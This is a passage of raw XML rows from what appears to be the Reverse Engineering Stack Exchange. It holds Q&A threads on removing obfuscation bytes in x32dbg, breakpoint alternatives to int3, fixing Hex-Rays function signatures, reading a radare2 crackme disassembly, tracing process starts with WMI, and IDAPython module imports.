Title="Jump in the middle trick" Tags="|assembly|debugging|obfuscation|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20589" PostTypeId="2" ParentId="20587" CreationDate="2019-02-10T19:56:03.887" Score="2" Body="&lt;p&gt;Bytes are just bytes so it's only how you interpret them makes what they are - so yes, you could potentially hide function call or a string is such way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you would deal with that in x32dbg. Click on the opcode that you want to fix, and right click and select Binary -&gt; Edit (or press &lt;kbd&gt;CTRL+E&lt;/kbd&gt;). You would see a dialog where the bytes of the opcode will be shown. You simple replay the bogus bytes with &lt;code&gt;nop&lt;/code&gt; (&lt;code&gt;0x90&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-02-10T19:56:03.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20590" PostTypeId="1" AcceptedAnswerId="20597" CreationDate="2019-02-10T20:18:59.290" Score="1" ViewCount="1022" Body="&lt;p&gt;Is it possible to generate a software breakpoint other than &lt;code&gt;int3&lt;/code&gt; to be catched by the debugger, like a division by zero for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, I was wondering why debuggers don't support generating different exceptions for software breakpoints? For programs that have anti-debugging mechanisms like scanning for unknown &lt;code&gt;0xCC&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any reasons for this? because all debuggers I've seen so far implement only &lt;code&gt;int3&lt;/code&gt; software breakpoints.&lt;/p&gt;&#xA;" OwnerUserId="19826" LastEditorUserId="2147" LastEditDate="2019-02-11T11:32:26.627" LastActivityDate="2019-02-11T11:32:26.627" Title="Generate software breakpoint other than int3" Tags="|debuggers|breakpoint|seh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20591" PostTypeId="1" AcceptedAnswerId="20596" CreationDate="2019-02-10T21:48:33.627" Score="1" ViewCount="2832" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem turned out to be more complex and complex because Hex-Rays incorrectly restores the stack after calls of &lt;code&gt;stdcall&lt;/code&gt; functions from &lt;code&gt;cdecl&lt;/code&gt; functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00403F2F 074                 mov     edx, gameScreenHeight&#xA;.text:00403F35 074                 mov     ecx, [eax]&#xA;.text:00403F37 **074**             push    10h&#xA;.text:00403F39 078                 push    edx&#xA;.text:00403F3A 07C                 mov     edx, gameScreenWidth&#xA;.text:00403F40 07C                 push    edx&#xA;.text:00403F41 080                 push    eax&#xA;.text:00403F42 084                 mov     eax, [ecx+54h]&#xA;.text:00403F45 084                 call    eax&#xA;.text:00403F47 **070**             test    eax, eax&#xA;.text:00403F49 070                 jz      short loc_4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a result, a function that takes 4 arguments gets only three:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Bad:&lt;/em&gt;&lt;/strong&gt; &lt;code&gt;lpDD-&amp;gt;lpVtbl-&amp;gt;SetDisplayMode(lpDD, gameScreenWidth, gameScreenHeight, 16, **a1**)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Good:&lt;/em&gt;&lt;/strong&gt; &lt;code&gt;lpDD-&amp;gt;lpVtbl-&amp;gt;SetDisplayMode(lpDD, gameScreenWidth, gameScreenHeight, 16)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, the function may not use the register value, but only save and restore it, but due to the shifted pointer to the stack after the call, it is considered to be used in some problem call. This causes the entire call chain to be marked as using this register as an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worst of all, such a problem arises in branched functions, which have several exit points and in each of them the stack is balanced (000). I can't just change the stack pointer after an erroneous call. I must also find another call and balance the changes made. x.x&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The original question:&lt;/strong&gt;&#xA;I need to detect and safely fix incorrectly recognized function signatures. How I can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example, this function saves game settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL __thiscall sub_410640(HKEY this)&#xA;{&#xA;  HKEY v1; // ecx&#xA;  HKEY v2; // ecx&#xA;&#xA;  sub_431C00(this, &quot;volumeMaster&quot;, *(_DWORD *)&amp;amp;phkResult);&#xA;  sub_431C00(*(HKEY *)&amp;amp;g_volumeMusic, &quot;volumeMusic&quot;, *(_DWORD *)&amp;amp;g_volumeMusic);&#xA;  sub_431C00(v1, &quot;volumeFX&quot;, *(_DWORD *)&amp;amp;g_volumeFX);&#xA;  sub_431C00(v2, &quot;volumeSpeech&quot;, *(_DWORD *)&amp;amp;g_volumeSpeech);&#xA;  return sub_431C00(*(HKEY *)&amp;amp;dword_4A262C, &quot;volumeMinimum&quot;, *(_DWORD *)&amp;amp;dword_4A262C);&#xA;}&#xA;&#xA;.text:00410640     sub_410640      proc near               ; CODE XREF: PlayVideo+50↑p&#xA;.text:00410640                                             ; sub_416910+1A6↓p&#xA;.text:00410640 000                 mov     eax, phkResult&#xA;.text:00410645 000                 push    eax             ; Data&#xA;.text:00410646 004                 push    offset ValueName ; &quot;volumeMaster&quot;&#xA;.text:0041064B 008                 call    sub_431C00&#xA;&#xA;.text:00410650 008                 mov     ecx, g_volumeMusic&#xA;.text:00410656 008                 push    ecx             ; Data&#xA;.text:00410657 00C                 push    offset aVolumemusic ; &quot;volumeMusic&quot;&#xA;.text:0041065C 010                 call    sub_431C00&#xA;&#xA;.text:00410661 010                 mov     edx, g_volumeFX&#xA;.text:00410667 010                 push    edx             ; Data&#xA;.text:00410668 014                 push    offset aVolumefx ; &quot;volumeFX&quot;&#xA;.text:0041066D 018                 call    sub_431C00&#xA;&#xA;.text:00410672 018                 mov     eax, g_volumeSpeech&#xA;.text:00410677 018                 push    eax             ; Data&#xA;.text:00410678 01C                 push    offset aVolumespeech ; &quot;volumeSpeech&quot;&#xA;.text:0041067D 020                 call    sub_431C00&#xA;&#xA;.text:00410682 020                 mov     ecx, dword_4A262C&#xA;.text:00410688 020                 push    ecx             ; Data&#xA;.text:00410689 024                 push    offset aVolumeminimum ; &quot;volumeMinimum&quot;&#xA;.text:0041068E 028                 call    sub_431C00&#xA;&#xA;.text:00410693 028                 add     esp, 28h&#xA;.text:00410696 000                 retn&#xA;.text:00410696     sub_410640      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If we look at the function inside, we can see that the arguments passed through the registers are not used in any way.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, it is obvious that calls to the same function should be uniform and the transfer of such arguments does not make any sense.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL __usercall sub_431C00@&amp;lt;eax&amp;gt;(HKEY a1@&amp;lt;ecx&amp;gt;, LPCSTR lpValueName, ...)&#xA;{&#xA;  LONG v3; // esi&#xA;  HKEY phkResult; // [esp+0h] [ebp-4h]&#xA;  va_list Data; // [esp+Ch] [ebp+8h]&#xA;&#xA;  va_start(Data, lpValueName);&#xA;  phkResult = a1;&#xA;  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 1u, &amp;amp;phkResult) )&#xA;    return 0;&#xA;  v3 = RegSetValueExA(phkResult, lpValueName, 0, 4u, (const BYTE *)Data, 4u);&#xA;  RegCloseKey(phkResult);&#xA;  return v3 == 0;&#xA;}&#xA;&#xA;.text:00410600     sub_410600      proc near               ; CODE XREF: sub_4073F0+2B0↑p&#xA;.text:00410600                                             ; WinMain(x,x,x,x)+5F4↓p ...&#xA;.text:00410600&#xA;.text:00410600     arg_0           = dword ptr  4&#xA;.text:00410600&#xA;.text:00410600 000                 mov     eax, [esp+arg_0]&#xA;.text:00410604 000                 test    eax, eax&#xA;.text:00410606 000                 mov     ecx, 1&#xA;.text:0041060B 000                 mov     dword_4AE978, ecx&#xA;.text:00410611 000                 mov     dword_4AF074, eax&#xA;.text:00410616 000                 jz      short locret_410632&#xA;.text:00410618 000                 mov     dword_4A267C, 69h&#xA;.text:00410622 000                 mov     dword_4AE920, 0&#xA;.text:0041062C 000                 mov     dword_4AF03C, ecx&#xA;.text:00410632&#xA;.text:00410632     locret_410632:                          ; CODE XREF: sub_410600+16↑j&#xA;.text:00410632 000                 retn&#xA;.text:00410632     sub_410600      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And now I need to adjust the declaration of these functions so that it corresponds to reality.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But two questions arise:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to understand what the problem is?&lt;/li&gt;&#xA;&lt;li&gt;How to make corrections safely so that one error in one function does not lead to unbalance of the stack and decompilation errors throughout the entire application database?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL __usercall sub_431C00(LPCSTR lpValueName, _DWORD value);&#xA;&#xA;sub_431C00(&quot;volumeMaster&quot;, *(_DWORD *)&amp;amp;phkResult);&#xA;sub_431C00(&quot;volumeMusic&quot;, *(_DWORD *)&amp;amp;g_volumeMusic);&#xA;sub_431C00(&quot;volumeFX&quot;, *(_DWORD *)&amp;amp;g_volumeFX);&#xA;sub_431C00(&quot;volumeSpeech&quot;, *(_DWORD *)&amp;amp;g_volumeSpeech);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://yadi.sk/d/7g4XYi3_uwgA1g&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to this PE File&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Oh yeah, the funny thing is that in this case IDA correctly defines the function signature, but for some reason Hex-Rays blows the roof off:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IDA:&lt;/strong&gt; &lt;code&gt;int __cdecl sub_431C00(LPCSTR lpValueName, BYTE Data)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hex-Rays:&lt;/strong&gt; &lt;code&gt;BOOL __usercall sub_431C00@&amp;lt;eax&amp;gt;(HKEY a1@&amp;lt;ecx&amp;gt;, LPCSTR lpValueName, ...)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="26081" LastEditorUserId="26081" LastEditDate="2019-02-12T22:23:24.840" LastActivityDate="2019-02-13T09:16:42.787" Title="IDA Hex-Rays: How to SAFELY fix incorrect function declarations?" Tags="|ida|hexrays|calling-conventions|stack-variables|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="20592" PostTypeId="2" ParentId="20590" CreationDate="2019-02-10T21:56:35.387" Score="3" Body="&lt;p&gt;if you were on windows then you can try ollydbg v2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5dmmg.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5dmmg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-02-10T21:56:35.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20593" PostTypeId="1" AcceptedAnswerId="20598" CreationDate="2019-02-10T22:06:55.417" Score="1" ViewCount="210" Body="&lt;p&gt;I am new to reverse engineering and try to solve a crackme with radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is understanding of the following lines: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x000007a9      c745b8000000.  mov dword [var_48h], 0&#xA;|           0x000007b0      c745bc000000.  mov dword [var_44h], 0&#xA;|           0x000007cd      8b45b8         mov eax, dword [var_48h]&#xA;|           0x000007d0      4898           cdqe&#xA;|           0x000007d2      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the bottom part of this code surrounding them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x0000076a      55             push rbp&#xA;|           0x0000076b      4889e5         mov rbp, rsp&#xA;|           0x0000076e      4883ec50       sub rsp, 0x50               &#xA;|           0x00000772      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x19c0 ; '('&#xA;|           0x0000077b      488945f8       mov qword [canary], rax&#xA;|           0x0000077f      31c0           xor eax, eax&#xA;|           0x00000781      c645b700       mov byte [var_49h], 0&#xA;|           0x00000785      488d3d580100.  lea rdi, qword str.Enter_password: ; 0x8e4 ; &quot;Enter password:&quot; ; const char *s&#xA;|           0x0000078c      e87ffeffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|           0x00000791      488d45c0       lea rax, qword [var_40h]&#xA;|           0x00000795      4889c6         mov rsi, rax&#xA;|           0x00000798      488d3d550100.  lea rdi, qword [0x000008f4] ; &quot;%s&quot; ; const char *format&#xA;|           0x0000079f      b800000000     mov eax, 0&#xA;|           0x000007a4      e897feffff     call sym.imp.__isoc99_scanf ; String! ; int scanf(const char *format)&#xA;|           0x000007a9      c745b8000000.  mov dword [var_48h], 0&#xA;|           0x000007b0      c745bc000000.  mov dword [var_44h], 0&#xA;|           0x000007cd      8b45b8         mov eax, dword [var_48h]&#xA;|           0x000007d0      4898           cdqe&#xA;|           0x000007d2      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]&#xA;|           0x000007d7      84c0           test al, al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the output and that there is the input wanted (&lt;code&gt;scanf&lt;/code&gt;). After that &lt;code&gt;var_48h&lt;/code&gt;, &lt;code&gt;var_44h&lt;/code&gt; and &lt;code&gt;eax&lt;/code&gt; are set to 0. The next lines i don't understand at all. Beside the &lt;code&gt;cdqe&lt;/code&gt; instruction there is some calculation(?) with the variables &lt;code&gt;rbp&lt;/code&gt; and &lt;code&gt;rax&lt;/code&gt; (=&lt;code&gt;var_49h&lt;/code&gt;?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can help me to understand that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="27418" LastEditorUserId="2147" LastEditDate="2019-02-11T13:12:30.950" LastActivityDate="2019-02-11T13:12:30.950" Title="Calculation with not defined variables?" Tags="|disassembly|assembly|binary-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20594" PostTypeId="2" ParentId="20593" CreationDate="2019-02-10T22:22:04.323" Score="0" Body="&lt;p&gt;&lt;strong&gt;CDQE Convert DoubleWord To QuadWord&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it takes whatever is in eax sign extends it and puts it in Rax   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so as long as eax holds anything less than 7fffffff and greater than 0&lt;br&gt;&#xA;Rax will be 00000000&lt;code&gt;whateverwashereineax&lt;br&gt;&#xA;when eax holds anything from 0x80000000 to 0xffffffff&lt;br&gt;&#xA;rax will become ffffffff&lt;/code&gt;whateverwashereineax  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your case eax is 0 (see var_48) so Rax will be 0 after execution of cdqe   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then it accesses a single byte (first letter of your password)  and checks if it is 0 (test al,al) &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-02-10T22:22:04.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20595" PostTypeId="2" ParentId="20297" CreationDate="2019-02-11T09:59:12.390" Score="1" Body="&lt;p&gt;If commandline is required you can subscribe to WMI Win32_ProcessStartTrace events, here's an example in PowerShell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Register-WMIEvent -query &quot;SELECT * FROM Win32_ProcessStartTrace&quot; -SourceIdentifier &quot;testevent&quot; -action { $e = $Event.SourceEventArgs.NewEvent&#xA;Write-Host $e.ProcessName, &quot;started&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To stop notification call &lt;code&gt;Unregister-Event Process-Started&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it might be a better solution to use Process Monitor and use the Process Tree functionality: &lt;a href=&quot;https://i.stack.imgur.com/IMqbJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMqbJ.png&quot; alt=&quot;Process Monitor | Process Tree&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example I started a command prompt from PowerShell and then launched Notepad from that command prompt:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JTElE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JTElE.png&quot; alt=&quot;Process Tree example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2019-02-11T09:59:12.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20596" PostTypeId="2" ParentId="20591" CreationDate="2019-02-11T10:39:41.557" Score="2" Body="&lt;p&gt;Welcome to RE.SE!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to understand what the problem is?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When the function is decompiled, IDA checks for its dependencies via dataflow analysis. Basically, it asks which values have to be defined in order to make this function work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it encounters the first line of the function (&lt;code&gt;push ecx&lt;/code&gt;) IDA noticed that the value of ecx is used before it was defined in this function, hence it establishes it as a dependency, even though IDA is well aware that it is not a parameter to the &lt;code&gt;RegOpenkeyExA&lt;/code&gt; call through its signature. At either and of the function, the ecx value is restored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what makes IDA think, ecx is part of the function signature: it actually is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fun IDA fact: When you decompile function &lt;code&gt;sub_410640&lt;/code&gt; first without looking at &lt;code&gt;sub_431C00&lt;/code&gt;, the signatures are like you want them to be (due to the lack of information)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_410640()&#xA;{&#xA;  sub_431C00(&quot;volumeMaster&quot;, phkResult);&#xA;  sub_431C00(&quot;volumeMusic&quot;, dword_4D55C8);&#xA;  sub_431C00(&quot;volumeFX&quot;, dword_4D55CC);&#xA;  sub_431C00(&quot;volumeSpeech&quot;, dword_4D55D0);&#xA;  return sub_431C00(&quot;volumeMinimum&quot;, dword_4A262C);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The core problem is the weird useage of the ecx register in this function. Even from an optimization point of view, it does not make any sense.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to make corrections safely so that one error in one function does&#xA;  not lead to unbalance of the stack and decompilation errors throughout&#xA;  the entire application database?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example, you could NOP-out the code pushing and poping ecx in the function, since it seems the calling function doesn't rely on this value remaining constant. I tested it real quick and it seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also solve the pointer aliasing problem. If you could find a way to proof that the &lt;code&gt;ecx&lt;/code&gt; value on the stack is not written or read, one could omit this parameter. Sadly, that's pretty hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try and come up with a better decompiler utilizing different heuristics, I guess. You could also try RetDec or Snowman for better results, but they will perform dataflow analysis similar to Hex-Rays and may end up with similar results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompiler works kind of like a one-way function. When you invoke it, the current function and meta data like variable names and function signatures are passed to it. Although it allows for some corrections, its only the meta data and should not change the assembly code at all.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2019-02-12T06:16:04.373" LastActivityDate="2019-02-12T06:16:04.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20597" PostTypeId="2" ParentId="20590" CreationDate="2019-02-11T11:30:09.997" Score="3" Body="&lt;h3&gt;A more flexible solution using x64dbg&lt;/h3&gt;&#xA;&lt;p&gt;In addition to ollydbg2's built-in experimental support, it's relatively easy to achieve something similar in x64dbg, although some manual scripting is required. Using x64dbg's &lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/commands/breakpoint-control/SetExceptionBPX.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;SetExceptionBPX&lt;/a&gt; function, you can define any exception to be treated as a breakpoint by x64dbg instead of being treated by regular exception handling logic. You will then need to create your own &amp;quot;breakpoint&amp;quot; handling logic (create &amp;amp; delete breakpoint) by modifying code at desired addresses to trigger that exception and restore it afterwards.&lt;/p&gt;&#xA;&lt;h3&gt;Answering the broader question&lt;/h3&gt;&#xA;&lt;p&gt;Additionally, you've asked&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;why debuggers don't support generating different exceptions for software breakpoints? For programs that have anti-debugging mechanisms like scanning for unknown &lt;code&gt;0xCC&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;so I'll go ahead and answer the broader question.&lt;/p&gt;&#xA;&lt;p&gt;Although you accurately noted debuggers default to use the &lt;code&gt;int3&lt;/code&gt; instruction for breakpoints, that is definitely not the only one. Several debuggers (especially those geared towards malware analysis and combating anti-debugging) have started implementing additional software breakpoint methods precisely for that reason. debuggers such as ollydbg and x64dbg implement multiple breakpoint types both for different debugging functionality (i.e. memory/data breakpoints) and for stealth (such as less common tricks to trigger an interrupt that the debugger may catch).&lt;/p&gt;&#xA;&lt;p&gt;For most of the more common debugging tasks, these are just unnecessary for the majority of debugger use cases, therefore many debuggers are never required to use any alternative exception triggering instructions. The user base for say, gdb, is mostly software developers that never encounter the need for such features.&lt;/p&gt;&#xA;&lt;h3&gt;Why division by zero is a suboptimal choice regardless&lt;/h3&gt;&#xA;&lt;p&gt;Lastly, you've asked specifically about a division by zero exception being used as a software breakpoint alternative, so I'll include a few drawbacks for using division by zero specifically.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is it possible to generate a software breakpoint other than int3 to be catched by the debugger, like a division by zero for example?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That one, specifically, is more known but is a suboptimal choice compared to alternatives. It's avoided even by debuggers providing many software breakpoint alternatives because it is a more difficult exception to generate and cleanup compared to single byte instructions such as &lt;code&gt;int3&lt;/code&gt;, &lt;code&gt;int1&lt;/code&gt;, &lt;code&gt;outsb&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;As the &lt;code&gt;div&lt;/code&gt; instruction requires either a register or a memory address and cannot accept an immediate value for the divisor, you're required to prepare a register or memory address with the value zero, as well as generate a longer instruction which may be a little riskier if overwriting multiple instructions of the original code. For those reasons, division by zero is far less convinenet to use as a software breakpoint alternative.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-02-11T11:30:09.997" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20598" PostTypeId="2" ParentId="20593" CreationDate="2019-02-11T13:06:57.690" Score="2" Body="&lt;p&gt;Lets take a look at the specific piece of code you can't understand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dword [var_48h], 0&#xA;mov dword [var_44h], 0&#xA;mov eax, dword [var_48h]&#xA;cdqe&#xA;movzx eax, byte [rbp + rax - 0x40]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And go over it a few lines at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first couple of lines are either initializing a local variable of size qword (8 bytes) to 0 by assigning one dword at a time, or two dword-sized variables, each of which to zero:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dword [var_48h], 0&#xA;mov dword [var_44h], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Converting this to C, this may look similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;long var_ab = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int var_a, var_b = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third line is a little puzzling assuming the above assignment is to a single qword variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword [var_48h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regardless, this does not translate to an actual C statement, but suggests the  variable (either as &lt;code&gt;var_ab&lt;/code&gt; or &lt;code&gt;var_b&lt;/code&gt; will be used in following statements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a look at the following two lines makes it all clearer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdqe&#xA;movzx eax, byte [rbp + rax - 0x40]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first of the two, &lt;a href=&quot;https://www.felixcloutier.com/x86/cbw:cwde:cdqe&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cdqe&lt;/code&gt;&lt;/a&gt; simply sign-extends &lt;code&gt;eax&lt;/code&gt; into &lt;code&gt;rax&lt;/code&gt;, effectively setting the higher half of &lt;code&gt;rdx&lt;/code&gt; to zero too. the second line of the last snippet makes doing so clear, after we consider the limitations of the x86 assembly language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;eax&lt;/code&gt; is used as an index for a stack variable, it is required to be sign-extended to &lt;code&gt;rax&lt;/code&gt; because of assembly limitations. executing &lt;code&gt;byte [&lt;/code&gt;&lt;strong&gt;&lt;code&gt;r&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;bp +&lt;/code&gt;&lt;strong&gt;&lt;code&gt;e&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;ax - 0x40]&lt;/code&gt; is impossible in x86 64bit assembly, as all registers in offset calculations are required to be of the same length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it clear that the variables are indeed two dword variables, and &lt;code&gt;eax&lt;/code&gt; is sign extended solely to be used in the following &lt;code&gt;mov&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assembly code above, then, is probably the result of the following C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char buf[...];&#xA;dword idx = 0;&#xA;if (buf[idx] == 0) {&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-11T13:06:57.690" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20599" PostTypeId="1" AcceptedAnswerId="20601" CreationDate="2019-02-11T13:32:37.590" Score="3" ViewCount="2472" Body="&lt;p&gt;I've recently started writing a few IDAPython plugins or scripts instead of using the native SDK, but I think I did not really figure out which module(s) are recommended to be imported. Typically, my script imports look somehow like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ida_funcs&#xA;import ida_kernwin&#xA;import ida_lines&#xA;import ida_nalt&#xA;import ida_name&#xA;import ida_segment&#xA;import ida_struct&#xA;import idaapi&#xA;import idautils&#xA;import idc&#xA;from ida_bytes import *&#xA;from PyQt5 import QtCore, QtGui, QtWidgets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've only just now realized that the &lt;code&gt;idaapi&lt;/code&gt; module imports all the single modules. For example, I can define an action handler as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyHandler(ida_kernwin.action_handler_t):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but also as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyHandler(idaapi.action_handler_t):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far, I was always trying to find the module the members originate from, and replace &lt;code&gt;idaapi&lt;/code&gt; with the original module name where possible. But then I found &lt;code&gt;BADADDR&lt;/code&gt; to originate from an &lt;code&gt;ida_idaapi&lt;/code&gt; module, and the name feels so ridiculous, I wondered if I've been doing the right thing all along. The &lt;a href=&quot;https://github.com/idapython/src/blob/master/python/idaapi.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/frames.html&quot; rel=&quot;nofollow 